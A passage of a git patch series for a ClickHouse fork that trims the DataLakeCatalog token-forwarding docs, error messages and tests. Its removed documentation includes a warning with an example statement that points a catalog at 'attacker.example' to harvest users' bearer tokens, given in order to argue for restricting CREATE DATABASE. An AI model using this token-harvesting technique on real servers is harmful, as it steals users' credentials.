ConfigLoadDoesNotRollBackAConcurrentCredentia installTokenEndpoint(*server, IDP_TOKEN_PATH); server->setRoute("/v1/config", parked.handler([](const RecordedRequest &) { return json(R"({"defaults":{},"overrides":{}})"); })); - auto alice = makeToken(ALICE_TOKEN, "alice"); + auto alice = makeToken(); auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); parked.enable(); std::thread in_flight([&] { catalog->getTables(alice); }); diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h index cb0232dff6a7..488f55baf521 100644 --- a/src/Databases/DataLake/tests/rest_catalog_test_server.h +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -5,7 +5,6 @@ #if USE_AVRO #include -#include #include #include @@ -18,7 +17,6 @@ #include #include #include -#include #include #include @@ -78,16 +76,11 @@ class ServerState setRoute(path, [body](const RecordedRequest &) { return json(body); }); } - std::vector requests() const - { - std::lock_guard lock(mutex); - return recorded; - } - std::vector requestsTo(const std::string & path) const { + std::lock_guard lock(mutex); std::vector result; - for (const auto & request : requests()) + for (const auto & request : recorded) if (request.path == path) result.push_back(request); return result; From 302cab0890f55cd2c0b4c17d7b38648f5087e6b5 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 16:57:27 +0200 Subject: [PATCH 5/8] Trim data lake token-forwarding code and tests Shorten documentation and comments, remove redundant code, and replace unnecessary integration setup with direct forwarding checks. Pass the query token to `updateMetadata` during Iceberg compaction. Validation: full unit-test build; 19 affected gtests and all 7 remaining integration cases passed. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- docs/en/engines/database-engines/datalake.md | 181 +++----- .../external-authenticators/tokens.md | 57 +-- src/Common/ProfileEvents.cpp | 2 +- src/Core/ServerSettings.cpp | 18 +- src/Databases/DataLake/DatabaseDataLake.cpp | 22 +- .../DataLake/DatabaseDataLakeSettings.cpp | 6 +- src/Databases/DataLake/GlueCatalog.cpp | 5 +- src/Databases/DataLake/GlueCatalog.h | 2 - src/Databases/DataLake/ICatalog.cpp | 11 +- src/Databases/DataLake/ICatalog.h | 2 - src/Databases/DataLake/RestCatalog.cpp | 22 +- src/Databases/DataLake/RestCatalog.h | 2 - src/Databases/DataLake/S3TablesCatalog.h | 2 - .../DataLake/tests/gtest_rest_catalog.cpp | 5 - .../gtest_rest_catalog_token_forwarding.cpp | 239 ++++------- .../DataLake/tests/rest_catalog_test_server.h | 2 +- .../DataLakes/Iceberg/Compaction.cpp | 2 +- ...ompose_iceberg_lakekeeper_oidc_catalog.yml | 138 ------ .../configs/users.xml | 5 - .../s3_mocks/mock_sts.py | 3 - .../test.py | 68 +-- .../test_datalake_sso_lakekeeper/__init__.py | 0 .../configs/cluster.xml | 18 - .../configs/session_log.xml | 8 - .../configs/token_forwarding.xml | 23 - .../configs/users.xml | 13 - .../keycloak/realm-export.json | 131 ------ .../test_datalake_sso_lakekeeper/test.py | 406 ------------------ .../test_datalake_token_forwarding/test.py | 173 ++------ 29 files changed, 230 insertions(+), 1336 deletions(-) delete mode 100644 tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/__init__.py delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/users.xml delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json delete mode 100644 tests/integration/test_datalake_sso_lakekeeper/test.py diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index 62af4ff0950d..4a9137a31fce 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -94,44 +94,25 @@ To authenticate without sharing a client secret, set `onelake_bearer_token` to a ## Forwarding the user's identity to the catalog {#user-token-forwarding} -By default ClickHouse talks to a catalog as a single shared service identity -- `catalog_credential` -or `auth_header` for an Iceberg REST catalog, static AWS keys or an assumed role for Glue. The -catalog therefore cannot see, authorize or audit the human behind a query, and every ClickHouse user -gets identical catalog and storage access. - -With `oauth_forward_user_token = 1` the catalog is contacted as the user who is running the query. -The identity that authenticated to ClickHouse becomes the identity the catalog authorizes, and the -storage credentials that identity gets are scoped to it. - +Set `oauth_forward_user_token = 1` to use the querying user's token for catalog authentication. This requires: - the server-level [`enable_token_forwarding`](/operations/server-configuration-parameters/settings#enable_token_forwarding) - setting, which is `false` by default. Without it the token is destroyed right after - authentication and nothing can be forwarded; -- `catalog_type = 'rest'` or `catalog_type = 'glue'`. No other catalog type can authenticate as the - querying user, so the setting is rejected for them rather than silently ignored; -- users who authenticate with a token -- an `Authorization: Bearer` HTTP header, or `--jwt` for the - native protocol. See [Token-based authentication](/en/operations/external-authenticators/oauth). - -How the token is used depends on the catalog. An Iceberg REST catalog accepts bearer tokens, so the -token is presented to it directly, optionally after an exchange. Glue does not: it authenticates -with AWS SigV4, so the token never goes to the catalog at all and is exchanged at AWS STS for -temporary credentials instead. See [Glue](#user-token-forwarding-glue). - -:::danger `CREATE DATABASE` becomes a privileged operation -The token is sent to the URL that whoever created the database chose. With forwarding enabled, -anyone who can run `CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` can -harvest the bearer token of every user who queries that database. Grant `CREATE DATABASE` -accordingly and keep `remote_url_allow_hosts` restrictive. + setting, which is `false` by default; +- `catalog_type = 'rest'` or `catalog_type = 'glue'`; +- token authentication through an `Authorization: Bearer` HTTP header or `--jwt` for the native + protocol. See [Token-based authentication](/en/operations/external-authenticators/oauth). + +:::danger Restrict `CREATE DATABASE` +Database creators choose the endpoints that receive users' tokens. Grant `CREATE DATABASE` only +to trusted users and restrict `remote_url_allow_hosts`, which applies to catalog and token-exchange +endpoints. ::: -The sections up to [Glue](#user-token-forwarding-glue) describe the Iceberg REST catalog. - ### Passthrough: the default {#user-token-forwarding-passthrough} -On its own, `oauth_forward_user_token = 1` forwards the user's bearer token to the catalog -unchanged. This is what Lakekeeper, Nessie and Polaris-with-an-external-IdP accept, and it needs no -token endpoint and no client credentials: +For Iceberg REST catalogs, `oauth_forward_user_token = 1` forwards the user's bearer token +unchanged. No token endpoint or client credentials are required: ```sql CREATE DATABASE demo @@ -142,18 +123,14 @@ SETTINGS oauth_forward_user_token = 1; ``` -Because one token is presented both to ClickHouse and to the catalog, its audience must cover -both. With Keycloak this usually means adding an audience mapper to the ClickHouse client so the -issued token carries the catalog's audience as well. +The token's audience must cover both ClickHouse and the catalog. With Keycloak, add an audience +mapper to the ClickHouse client to include the catalog's audience. ### Token exchange: opt-in {#user-token-forwarding-exchange} -Setting `oauth_token_exchange_uri` switches to an [RFC 8693](https://www.rfc-editor.org/rfc/rfc8693) -token exchange against that URL, and the token obtained there is what the catalog sees. The -presence of the URI *is* the mode -- there is no separate mode setting. - -Point it at your IdP's token endpoint to obtain a token whose audience the catalog accepts (the -flow Lakekeeper documents): +Set `oauth_token_exchange_uri` to exchange the user's token using +[RFC 8693](https://www.rfc-editor.org/rfc/rfc8693) before presenting it to the REST catalog. +Use an IdP token endpoint that issues tokens with an audience the catalog accepts: ```sql CREATE DATABASE demo @@ -167,48 +144,31 @@ SETTINGS oauth_token_exchange_uri = 'http://keycloak:8080/realms/demo/protocol/openid-connect/token'; ``` -The exchange request authenticates itself with `client_id`/`client_secret` parsed out of -`catalog_credential`, sent in the form body -- standard OAuth token-endpoint client authentication. -`catalog_credential` is therefore mandatory when `oauth_token_exchange_uri` is set, and optional -otherwise. `auth_scope` is reused as the exchange `scope`; its default value `PRINCIPAL_ROLE:ALL` -is Polaris-specific and must be overridden for other targets (`scope = 'lakekeeper'` for -Keycloak to Lakekeeper). +The exchange requires `catalog_credential`; its `client_id` and `client_secret` are sent in the +form body. `auth_scope` supplies the exchange `scope`. Override its Polaris-specific default, +`PRINCIPAL_ROLE:ALL`, for other providers. -`oauth_token_exchange_uri` may also point at a catalog's own `/v1/oauth/tokens` endpoint. Note that -the Iceberg REST specification marks that endpoint **deprecated for removal** ("not recommended to -implement… will be removed in Iceberg 2.0"), and several widely deployed catalogs (Lakekeeper among -them) do not implement it at all. That is why the endpoint can only be reached by writing its URL -out in full. +A catalog's `/v1/oauth/tokens` endpoint can also be used if supported. The Iceberg REST +specification deprecates this endpoint, and some catalogs, including Lakekeeper, do not implement it. ### Delegation with an actor token {#user-token-forwarding-actor-token} -By default the exchange asks for plain impersonation: the token the catalog sees names the user and -nothing else. With `oauth_forward_actor_token = 1` the exchange also carries an `actor_token`, so a -server that implements RFC 8693 delegation can see both parties -- `sub` is the user and `act` is -ClickHouse -- and log or authorize accordingly. The setting requires `oauth_token_exchange_uri` and -is rejected without it. - -The actor token is the service principal's own token, obtained with a `client_credentials` grant -against `oauth_server_uri` (or the catalog's `/v1/oauth/tokens` when that setting is empty) using -the credentials from `catalog_credential`. It is minted on first use and reused until it expires, -and it is only ever sent as `actor_token` -- no catalog request is signed with it. Because of it, -the `DataLakeRestCatalogAuthTokenRetrieve` profile event is expected to be non-zero with this -setting on; with it off, a non-zero value while forwarding means a request fell back to the shared -identity. +Set `oauth_forward_actor_token = 1` to include the service principal's token as the RFC 8693 +`actor_token`. This requires `oauth_token_exchange_uri` and an endpoint that supports delegation +and can validate the actor token. -If minting the actor token fails, the query fails. ClickHouse does not fall back to an exchange -without delegation: silently downgrading is exactly what enabling the setting asks to avoid. +ClickHouse obtains the actor token through a `client_credentials` grant using `catalog_credential` +at `oauth_server_uri`, or the catalog's `/v1/oauth/tokens` endpoint if that setting is empty. +The token is cached until expiry and used only for exchanges. If obtaining it fails, the query fails. -Only turn it on against a server that can validate the token. An IdP cannot validate a token it did -not issue for that purpose and will normally reject the whole exchange. +With delegation enabled, `DataLakeRestCatalogAuthTokenRetrieve` counts actor-token requests. +Otherwise, this event should remain zero while forwarding. ### Glue {#user-token-forwarding-glue} -AWS Glue authenticates with SigV4, never with a bearer token, so there is nothing to forward to it. -Instead the user's token is presented to AWS STS as a web identity: ClickHouse calls -`AssumeRoleWithWebIdentity` against `aws_role_arn` with that token, and the temporary credentials -it returns sign every Glue and S3 request the query makes. The `RoleSessionName` is the -ClickHouse user name, which is what CloudTrail records for those calls. +For Glue, ClickHouse exchanges the user's token through AWS STS `AssumeRoleWithWebIdentity` +for temporary credentials of `aws_role_arn`. These credentials sign Glue and S3 requests using +SigV4. The ClickHouse user name supplies `RoleSessionName` for CloudTrail auditing. ```sql CREATE DATABASE glue_db @@ -220,53 +180,34 @@ SETTINGS oauth_forward_user_token = 1; ``` -On the AWS side this needs the identity provider that issues your users' tokens registered as an -IAM OIDC identity provider, and a role whose trust policy accepts those tokens -- normally matched -on their `aud` and `sub` claims. The tokens ClickHouse authenticates users with and the tokens the -role trusts have to be the same tokens. - -Differences from the Iceberg REST catalog: - -- `aws_role_arn` is required. There is no forwarding without a role to assume. -- `aws_access_key_id` and `aws_secret_access_key` are rejected. Static keys are a second identity - and would be used instead of the assumed one. -- `oauth_token_exchange_uri` and the other RFC 8693 settings are rejected. The exchange happens at - AWS STS, whose endpoint follows from `region`. -- How much of the user's identity actually reaches authorization is an AWS question, not a - ClickHouse one. `AssumeRoleWithWebIdentity` grants the permissions of the role, so every user who - can assume it gets the same access unless you distinguish them further -- one role per group of - users, or session tags matched by Lake Formation tag policies. Fine-grained per-user - authorization on Glue needs AWS IAM Identity Center trusted identity propagation, which - ClickHouse does not implement. - -### What is and is not covered {#user-token-forwarding-scope} - -- Every catalog request made on behalf of a query carries the user's identity: listing namespaces - and tables, loading table metadata, and the write paths (`INSERT`, `ALTER`, mutations, - `DROP TABLE`, snapshot expiry). -- Storage credentials vended by the catalog are cached per principal, so one user never receives - the credentials the catalog issued to another. For Glue, the assumed session is cached per user - token for the same reason, and signs the S3 reads as well as the Glue calls. -- Requests with no user token are refused with `CATALOG_USER_TOKEN_NOT_AVAILABLE`. ClickHouse never - falls back to the service identity: that would turn an authorization failure into a query that - succeeds under the wrong identity. `system.tables` and `SHOW TABLES` swallow catalog errors by - design, so there they show an empty list rather than an error. -- SSO ends at the catalog. When `object_storage_cluster` is set, the table-scoped credentials the - catalog vended are sent to the worker nodes as query-AST literals over the interserver channel. - Configure `interserver_https_port` or a cluster `` before combining forwarding with a - cluster read. -- HTTP re-authenticates on every request, so a rotated token takes effect immediately. A native - TCP connection authenticates once at handshake time, so a long-lived `clickhouse-client --jwt` - session must reconnect to pick up a fresh token. -- Rotate `catalog_credential` in place with `ALTER DATABASE ... MODIFY SETTING` (Iceberg REST only; - a Glue catalog's settings cannot be altered). With token - forwarding enabled, authenticate the statement with a user token. When token exchange is - configured, ClickHouse exchanges that token using the new credentials. It reloads the catalog - configuration as that user before applying the change. A successful rotation invalidates cached - session tokens and vended storage credentials. - -None of the forwarding settings hold a secret, so unlike `catalog_credential` they are shown in -full by `SHOW CREATE DATABASE` and `system.databases.engine_full`. +Register the token issuer as an IAM OIDC identity provider and configure the role's trust policy +to accept the users' tokens, including their `aud` and `sub` claims. + +- `aws_role_arn` is required. +- `aws_access_key_id`, `aws_secret_access_key`, and RFC 8693 exchange settings are rejected. +- The AWS STS endpoint is determined by `region`. +- Users receive the assumed role's permissions. Use separate roles or session-tag policies to + distinguish access. ClickHouse does not implement IAM Identity Center trusted identity propagation. + +### Scope and limitations {#user-token-forwarding-scope} + +- Forwarding covers catalog listings, table metadata, and write operations (`INSERT`, `ALTER`, + mutations, `DROP TABLE`, and snapshot expiry). +- Vended storage credentials and Glue sessions are cached separately for each user token. +- Requests without a user token fail with `CATALOG_USER_TOKEN_NOT_AVAILABLE`; ClickHouse does not + fall back to the service identity. Catalog listings may suppress these errors and appear empty, + depending on `database_datalake_require_metadata_access`. +- With `object_storage_cluster`, workers receive table-scoped storage credentials over the + interserver channel. Configure `interserver_https_port` or a cluster `` for cluster reads. +- HTTP token rotation takes effect on the next request. Native TCP sessions must reconnect with + the new token. +- For Iceberg REST, rotate `catalog_credential` with `ALTER DATABASE ... MODIFY SETTING`, + authenticated with a user token. ClickHouse validates the new credentials and reloads the catalog + configuration before applying the change, then invalidates cached session and storage credentials. + Glue settings cannot be altered. + +Forwarding settings contain no secrets and are shown by `SHOW CREATE DATABASE` and +`system.databases.engine_full`. ## Namespace filter {#namespace} diff --git a/docs/en/operations/external-authenticators/tokens.md b/docs/en/operations/external-authenticators/tokens.md index 3b9cb0f5dd89..030b2dc88b08 100644 --- a/docs/en/operations/external-authenticators/tokens.md +++ b/docs/en/operations/external-authenticators/tokens.md @@ -302,51 +302,32 @@ If token lifetime is longer than `token_cache_lifetime`, cache entry for this to ## Forwarding the token to external services {#token-forwarding} -By default the bearer token a user authenticated with is destroyed as soon as authentication -succeeds: it lives only on the stack of the HTTP or native protocol handler and reaches neither -the session nor the query context. - -Setting `enable_token_forwarding` to `1` in `config.xml` keeps the token on the session so it can -be presented to an external service on the user's behalf: +By default, the authenticated token is not retained in the session for forwarding. Set +`enable_token_forwarding` to `1` in `config.xml` to retain it for external-service authentication: ```xml 1 ``` -The only consumer today is the [`DataLakeCatalog`](/engines/database-engines/datalakecatalog) -database engine, whose `oauth_forward_user_token` setting makes an Iceberg REST catalog or a Glue -catalog authorize the human running the query instead of a shared service identity. See -[Forwarding the user's identity to the catalog](/engines/database-engines/datalakecatalog#user-token-forwarding) -for the database side. - -The setting is hot-reloadable, and is `false` by default because it widens where the secret lives: -without it the only copy is the private token cache inside `ExternalAuthenticators`, with it the -token is reachable from any storage or table function that receives the query context. - -:::danger `CREATE DATABASE` becomes a privileged operation -A forwarded token is sent to a URL chosen by whoever created the database it is forwarded for. -With forwarding enabled, the right to run -`CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` is the right to harvest -the bearer token of every user who queries that database. Grant it accordingly, and keep -`remote_url_allow_hosts` restrictive -- it is enforced on the token-exchange endpoint as well as -on catalog requests. +The setting is hot-reloadable and defaults to `false`. To use it with Iceberg REST or Glue, enable +`oauth_forward_user_token` on the [`DataLakeCatalog`](/engines/database-engines/datalakecatalog) +database. See [catalog token forwarding](/engines/database-engines/datalakecatalog#user-token-forwarding) +for configuration and examples. + +:::danger Restrict `CREATE DATABASE` +Database creators choose the endpoints that receive users' tokens. Grant `CREATE DATABASE` only +to trusted users and restrict `remote_url_allow_hosts` for catalog and token-exchange endpoints. ::: -What is forwarded is always the token that was actually verified for this session. It is -deliberately not carried in `ClientInfo`, so it is not copied into a context rebuilt by -`EXECUTE AS` or by a DEFINER view, cannot be supplied by a peer over the interserver protocol, and -is never serialized to the wire or to disk. - -Because HTTP re-authenticates on every request, a rotated token takes effect on the next query. A -native TCP connection authenticates once during the handshake, so a long-running -`clickhouse-client --jwt` session keeps presenting the token it connected with and must reconnect -to pick up a fresh one. - -With `async_insert=1`, the queued batch retains the verified token until its flush finishes, -even if the originating session has already ended with `wait_for_async_insert=0`. The flush -uses that token to access the catalog. Inserts authenticated with different tokens are placed -in separate batches, including when the same user rotates their token; rotation does not -replace the token of an already queued batch. +Only the session's verified token is forwarded. It is not inherited by `EXECUTE AS` or +`DEFINER` views, forwarded to other ClickHouse nodes, or persisted to disk. + +HTTP requests authenticate separately, so a rotated token takes effect on the next request. +Native TCP sessions must reconnect with the new token. + +With `async_insert = 1`, each queued batch retains its token until the flush completes, even with +`wait_for_async_insert = 0`. Different tokens use separate batches; rotation does not change a +queued batch's token. ## Enabling token authentication for a user in `users.xml` {#enabling-jwt-auth-in-users-xml} diff --git a/src/Common/ProfileEvents.cpp b/src/Common/ProfileEvents.cpp index 41a8ece20f1f..201774377d07 100644 --- a/src/Common/ProfileEvents.cpp +++ b/src/Common/ProfileEvents.cpp @@ -1780,7 +1780,7 @@ The server successfully detected this situation and will download merged part fr M(DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds, "Total time of AWS STS `AssumeRoleWithWebIdentity` calls made for forwarded user tokens.", ValueType::Microseconds) \ M(DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures, "Number of AWS STS `AssumeRoleWithWebIdentity` calls that returned no credentials.", ValueType::Number) \ M(DataLakeGlueCatalogUserClientCacheHits, "Number of times a Glue client built for a forwarded user token was reused.", ValueType::Number) \ - M(DataLakeGlueCatalogServiceIdentityRequests, "Number of Glue requests served by the identity configured on the database rather than by the querying user. Must stay at zero while `oauth_forward_user_token` is enabled: a non-zero value means a request fell back to the shared identity.", ValueType::Number) \ + M(DataLakeGlueCatalogServiceIdentityRequests, "Number of Glue requests using the database's service identity.", ValueType::Number) \ \ M(DataLakeUnityCatalogGetTables, "Number of 'get tables' requests to Iceberg Unity catalog.", ValueType::Number) \ M(DataLakeUnityCatalogGetTablesMicroseconds, "Total time of 'get tables' requests to Iceberg Unity catalog.", ValueType::Microseconds) \ diff --git a/src/Core/ServerSettings.cpp b/src/Core/ServerSettings.cpp index b71ca6764e0e..3a44d7de1fb0 100644 --- a/src/Core/ServerSettings.cpp +++ b/src/Core/ServerSettings.cpp @@ -891,20 +891,14 @@ namespace Default value: `true` (token authentication is enabled). )", 0) \ DECLARE(Bool, enable_token_forwarding, false, R"( - Controls whether the bearer token a user authenticated with is retained for the lifetime of - their session so that it can be forwarded to external services on their behalf -- currently - an Iceberg REST catalog, and AWS STS on the way to a Glue catalog, via the - `oauth_forward_user_token` database setting. + Retain authenticated bearer tokens for forwarding through the `DataLakeCatalog` + setting `oauth_forward_user_token`. Supports Iceberg REST and AWS STS for Glue. + When disabled, tokens are not retained in sessions for forwarding. - When disabled (the default) the token is destroyed right after authentication, exactly as - before, and no database can forward it. + Database creators choose the endpoints that receive users' tokens. Grant `CREATE DATABASE` + only to trusted users and restrict `remote_url_allow_hosts`. - Enabling this is a privileged decision: the token is sent to a URL that whoever ran - `CREATE DATABASE ... ENGINE = DataLakeCatalog()` chose, so `CREATE DATABASE` becomes an - operation that can harvest the bearer tokens of every user who queries that database. Grant - it accordingly, and keep `remote_url_allow_hosts` restrictive. - - Default value: `false` (the token is not retained). + Default value: `false`. )", 0) \ DECLARE(UInt64, concurrent_threads_soft_limit_num, 0, R"( The maximum number of query processing threads, excluding threads for retrieving data from remote servers, allowed to run all queries. This is not a hard limit. In case if the limit is reached the query will still get at least one thread to run. Query can upscale to desired number of threads during execution if more threads become available. diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 1271a179992c..3e7ebac941a8 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -215,7 +215,7 @@ void DatabaseDataLake::validateTokenForwardingSettings() const throw Exception( ErrorCodes::BAD_ARGUMENTS, "`oauth_forward_user_token` is only supported for `catalog_type = 'rest'` and " - "`catalog_type = 'glue'`; no other catalog type can authenticate as the querying user"); + "`catalog_type = 'glue'`"); if (catalog_type == DB::DatabaseDataLakeCatalogType::GLUE) { @@ -226,16 +226,13 @@ void DatabaseDataLake::validateTokenForwardingSettings() const if (!settings[DatabaseDataLakeSetting::auth_header].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, - "`oauth_forward_user_token` cannot be combined with `auth_header`: a static " - "authorization header takes precedence and would silently defeat forwarding"); + "`oauth_forward_user_token` cannot be combined with `auth_header`"); const auto & exchange_uri = settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value; if (!exchange_uri.empty() && settings[DatabaseDataLakeSetting::catalog_credential].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, - "`oauth_token_exchange_uri` requires a non-empty `catalog_credential`: the token " - "exchange request has to authenticate itself with client credentials. Passthrough " - "(the default, with `oauth_token_exchange_uri` unset) needs none"); + "`oauth_token_exchange_uri` requires a non-empty `catalog_credential`"); static const std::array valid_token_types = { "urn:ietf:params:oauth:token-type:access_token", @@ -270,23 +267,19 @@ void DatabaseDataLake::validateGlueTokenForwardingSettings(const DatabaseDataLak if (settings[DatabaseDataLakeSetting::aws_role_arn].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, - "`oauth_forward_user_token` requires a non-empty `aws_role_arn` for a Glue catalog: " - "the querying user's token is exchanged for credentials of that role with AWS STS " - "`AssumeRoleWithWebIdentity`"); + "`oauth_forward_user_token` requires a non-empty `aws_role_arn` for a Glue catalog"); if (!settings[DatabaseDataLakeSetting::aws_access_key_id].value.empty() || !settings[DatabaseDataLakeSetting::aws_secret_access_key].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, "`oauth_forward_user_token` cannot be combined with `aws_access_key_id` / " - "`aws_secret_access_key` for a Glue catalog: static keys are a second identity and " - "would be used instead of the one assumed for the querying user"); + "`aws_secret_access_key` for a Glue catalog"); if (!settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, - "`oauth_token_exchange_uri` is only supported for `catalog_type = 'rest'`: a Glue " - "catalog exchanges the user's token at AWS STS, not at an OAuth token endpoint"); + "`oauth_token_exchange_uri` is only supported for `catalog_type = 'rest'`"); } void DatabaseDataLake::initialize() const @@ -1323,8 +1316,7 @@ void registerDatabaseDataLake(DatabaseFactory & factory) if (is_changed(name)) throw Exception( ErrorCodes::BAD_ARGUMENTS, - "`{}` has no effect without `oauth_token_exchange_uri`: without it the " - "user's token is forwarded unchanged and no token exchange happens", name); + "`{}` has no effect without `oauth_token_exchange_uri`", name); } } } diff --git a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp index 94c3c98d425f..e32ebcb32df3 100644 --- a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp +++ b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp @@ -25,11 +25,11 @@ namespace ErrorCodes DECLARE(String, auth_scope, "PRINCIPAL_ROLE:ALL", "Authorization scope for client credentials or token exchange", 0) \ DECLARE(String, oauth_server_uri, "", "OAuth server uri", 0) \ DECLARE(Bool, oauth_server_use_request_body, true, "Put parameters into request body or query params", 0) \ - DECLARE(Bool, oauth_forward_user_token, false, "Authenticate to the catalog as the user running the query instead of as the shared identity configured on the database. For an Iceberg REST catalog this forwards the user's own bearer token unchanged (passthrough), or exchanges it first when `oauth_token_exchange_uri` is set. For a Glue catalog, which speaks AWS SigV4 rather than bearer tokens, the token is exchanged for temporary AWS credentials with `AssumeRoleWithWebIdentity` against `aws_role_arn`. Requires the server-level `enable_token_forwarding` setting", 0) \ - DECLARE(String, oauth_token_exchange_uri, "", "Empty means passthrough: the user's token is presented to the catalog as-is. Non-empty switches to an RFC 8693 token exchange against this URL - point it at the IdP's token endpoint to obtain a token whose audience the catalog accepts, or at a catalog's `/v1/oauth/tokens` (which the Iceberg REST spec deprecates for removal). Requires `oauth_forward_user_token` and a non-empty `catalog_credential`", 0) \ + DECLARE(Bool, oauth_forward_user_token, false, "Authenticate to Iceberg REST or Glue using the querying user's token. Requires `enable_token_forwarding`", 0) \ + DECLARE(String, oauth_token_exchange_uri, "", "RFC 8693 token-exchange endpoint for Iceberg REST. Empty forwards the token unchanged. Requires `oauth_forward_user_token` and a non-empty `catalog_credential`", 0) \ DECLARE(String, oauth_subject_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `subject_token_type` of the forwarded user token. Used only when `oauth_token_exchange_uri` is set", 0) \ DECLARE(String, oauth_requested_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `requested_token_type`; empty omits the field. Used only when `oauth_token_exchange_uri` is set", 0) \ - DECLARE(Bool, oauth_forward_actor_token, false, "Send the catalog service principal's own token as the RFC 8693 `actor_token`, giving delegation semantics (`sub=user, act=clickhouse`). Only meaningful against a server that can validate it - an IdP cannot. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(Bool, oauth_forward_actor_token, false, "Include the service principal token as the RFC 8693 `actor_token`. Requires `oauth_token_exchange_uri` and an endpoint that supports delegation", 0) \ DECLARE(UInt64, oauth_user_token_cache_ttl, 300, "Maximum lifetime (in seconds) of a cached per-user session token obtained by token exchange; '0' disables caching. Used only when `oauth_token_exchange_uri` is set", 0) \ DECLARE(String, warehouse, "", "Warehouse name inside the catalog", 0) \ DECLARE(String, auth_header, "", "Authorization header of format 'Authorization: '", 0) \ diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index 7d6a6964149a..05db88b96fb3 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -350,9 +350,8 @@ GlueCatalog::GlueCatalog( ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures); throw DB::Exception( DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, - "Could not assume role `{}` with the token of user `{}`: {}. Check that the " - "role trusts the identity provider that issued the token and that its trust " - "policy accepts this token's `sub` and `aud` claims", + "Could not assume role `{}` with the token of user `{}`: {}. " + "Check the role's trust policy for the token's issuer, `sub`, and `aud`.", role_arn, auth_token.principal, provider->getLastError()); diff --git a/src/Databases/DataLake/GlueCatalog.h b/src/Databases/DataLake/GlueCatalog.h index e5b9fbcc619d..82988ad10db1 100644 --- a/src/Databases/DataLake/GlueCatalog.h +++ b/src/Databases/DataLake/GlueCatalog.h @@ -52,8 +52,6 @@ class GlueCatalog final : public ICatalog, private DB::WithContext DB::ContextPtr context_, TableMetadata & result) const override; - bool supportsUserTokenForwarding() const override { return true; } - void onTokenForwardingDisabled() const override { user_clients.clear(); } bool tryGetTableMetadata( diff --git a/src/Databases/DataLake/ICatalog.cpp b/src/Databases/DataLake/ICatalog.cpp index f6d064a31cf7..e6c5a808351a 100644 --- a/src/Databases/DataLake/ICatalog.cpp +++ b/src/Databases/DataLake/ICatalog.cpp @@ -355,20 +355,15 @@ void ICatalog::validateForwardedToken( throw DB::Exception( DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, - "Catalog `{}` is configured with `oauth_forward_user_token = 1`, but the server-level " - "`enable_token_forwarding` setting is off, so the querying user's token cannot be " - "presented to the catalog. Set it to `1` and reconnect, or recreate the database " - "without `oauth_forward_user_token`.", + "Catalog `{}` requires token forwarding. Set `enable_token_forwarding = 1` and reconnect.", catalog_description); } if (!auth_token || auth_token->token.empty()) throw DB::Exception( DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, - "Catalog `{}` is configured with `oauth_forward_user_token = 1`, but this session " - "carries no bearer token. Authenticate with a token (an `Authorization: Bearer` HTTP " - "header, or `--jwt` for the native protocol), or recreate the database without " - "`oauth_forward_user_token`.", + "Cannot authenticate to catalog `{}`: this session carries no bearer token. " + "Authenticate with an `Authorization: Bearer` HTTP header or `--jwt` for the native protocol.", catalog_description); } diff --git a/src/Databases/DataLake/ICatalog.h b/src/Databases/DataLake/ICatalog.h index 971841264d03..c1be073a91eb 100644 --- a/src/Databases/DataLake/ICatalog.h +++ b/src/Databases/DataLake/ICatalog.h @@ -258,8 +258,6 @@ class ICatalog return std::nullopt; } - virtual bool supportsUserTokenForwarding() const { return false; } - virtual void onTokenForwardingDisabled() const {} virtual void setVendedCredentialsCacheTTL(std::chrono::seconds /*ttl*/) {} diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index 146af86e5b82..a3eab080a381 100644 --- 